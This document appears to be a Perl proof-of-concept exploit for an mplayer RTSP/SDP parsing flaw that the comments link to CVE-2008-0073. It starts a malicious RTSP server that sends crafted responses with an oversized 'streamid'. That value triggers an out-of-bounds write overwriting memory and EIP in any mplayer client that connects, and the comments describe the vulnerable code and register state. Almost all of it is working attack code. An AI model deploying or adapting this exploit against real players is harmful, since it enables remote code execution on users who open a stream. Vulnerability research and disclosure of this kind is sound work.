mplayer-overflowpoc.txt

`#!/usr/bin/perl  
  
# Huston, mplayer got some vulns! :(   
# CVE-2008-0073 also apply to mplayer and vlc with some distinctions.  
#  
# Assuming kernel.va_randomize=0 this overwrite EIP with a "stream" structure on my box.  
#  
# The first element of the "stream" structure is a user-supplied buffer so it is not really useful to overwrite   
# EIP, let's find the right target: we can overwrite every memory location beyond the desc->stream pointer and   
# some before it.  
#  
# Vulnerable code:  
# sdpplin_parse_stream()  
# desc->stream_id=atoi(buf);   
# spplin_parse()  
# desc->stream[stream->stream_id]=stream;   
#  
# Test:  
# - mplayer rtsp://evilhost/evil.rm   
# eax 0xa0737008 // pointer to desc->stream   
# edx 0x0495badd // "streamid" value  
# edi 0x089b59e8 // pointer to stream   
#  
# <sdpplin_parse+731>: mov DWORD PTR [eax+edx*4],edi   
  
use warnings;  
use strict;  
use IO::Socket;  
  
my $evil_num = "127467297"; # this is a 4byte offset from desc->stream  
  
  
my $rtp_hello = "RTSP/1.0 200 OK\r\n".  
"CSeq: 1\r\n".  
"Date: Thu, 20 Mar 2008 20:07:39 GMT\r\n".  
"Server: RealServer Version 9.0.2.794 (sunos-5.8-sparc-server)\r\n".  
"Public: OPTIONS, DESCRIBE, ANNOUNCE, PLAY, SETUP, GET_PARAMETER, SET_PARAMETER, TEARDOWN\r\n".  
"RealChallenge1: de6654ba4935b8b9d8af3ba8d6f8e71c\r\n".  
"StatsMask: 3\r\n\r\n";  
  
my $rtp_evil = "RTSP/1.0 200 OK\r\n".  
"CSeq: 2\r\n".  
"Date: Thu, 20 Mar 2008 20:08:34 GMT\r\n".  
"vsrc: http://0.00.00.00:31337\r\n".  
"Content-base: rtsp://0.00.00.00:554/bu.rm\r\n".  
"ETag: 55370-2\r\n".  
"Session: 93033-2\r\n".  
"Content-type: application/sdp\r\n".  
"Content-length: 677\r\n\r\n".  
  
"v=0\r\n".  
"o=-1028652722 1028652722 IN IP4 0.00.00.00\r\n".  
"s=realmp3\r\n".  
"i=<No author> <No copyright>\r\n".  
"c=IN IP4 0.0.0.0\r\n".  
"t=0 0\r\n".  
"a=SdpplinVersion:1610645242\r\n".  
"a=StreamCount:integer;\"1166000000\"\r\n".  
"a=Title:buffer;\"dtFabH2rNoP=\"\r\n".  
"a=range:npt=0-39.471000\r\n".  
"m=audio 0 RTP/AVP 101\r\n". # this is referenced by "stream"   
"b=AS:128\r\n".  
"a=control:streamid=$evil_num\r\n".  
"a=range:npt=0-39.471000\r\n".  
"a=length:npt=39.471000\r\n".  
"a=rtpmap:101 X-MP3-draft-00/1000\r\n".  
"a=mimetype:string;\"audio/X-MP3-draft-00\"\r\n".  
"a=StartTime:integer;0\r\n".  
"a=AvgBitRate:integer;128000\r\n".  
"a=SampleRate:integer;44100\r\n".  
"a=AvgPacketSize:integer;417\r\n".  
"a=Preroll:integer;1000\r\n".  
"a=NumChannels:integer;2\r\n".  
"a=MaxPacketSize:integer;1024\r\n".  
"a=ASMRuleBook:string;\"AverageBandwidth=128000, AverageBandwidthStd=0, Priority=9;\"\r\n";  
  
  
  
my @resps = ( $rtp_hello,   
$rtp_evil,  
  
"RTSP/1.0 200 OK\r\n".  
"CSeq: 3\r\n".  
"Date: Sat, 22 Mar 2008 20:45:47 GMT\r\n".  
"Session: 93033-2\n\r".  
"Reconnect: true\n\r".  
"RealChallenge3: 2520b5cd0e5e5622ec25f563312aba3e4f213d09,sdr=2b05ef3b\n\r".  
"RDTFeatureLevel: 2\r\n".  
"Transport: x-pn-tng/tcp;interleaved=0\r\n\r\n",  
  
"RTSP/1.0 200 OK\r\n".  
"CSeq: 4\r\n".  
"Date: Sat, 22 Mar 2008 15:11:06 GMT\r\n".  
"Session: 93033-2\r\n\r\n",  
  
"RTSP/1.0 200 OK\r\n".  
"CSeq: 5\r\n".  
"Date: Sat, 22 Mar 2008 15:11:06 GMT".  
"RTP-Info: url=rtsp://0.00.00.00/bu.rm\r\n\r\n",  
);  
  
  
my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '554', Listen => 1, Reuse => 1);  
  
while(my $csock = $sock->accept)  
{  
foreach my $resp(@resps)  
{  
my $buf = read_from_sock($csock);  
print $csock $resp;  
}  
}  
  
  
sub read_from_sock()  
{  
my ($sock) = @_;  
  
my $buffer = "";  
  
while(<$sock>)  
{  
return $buffer if /^\r\n$/;  
$buffer .= $_;  
}  
  
return $buffer;  
  
}  
`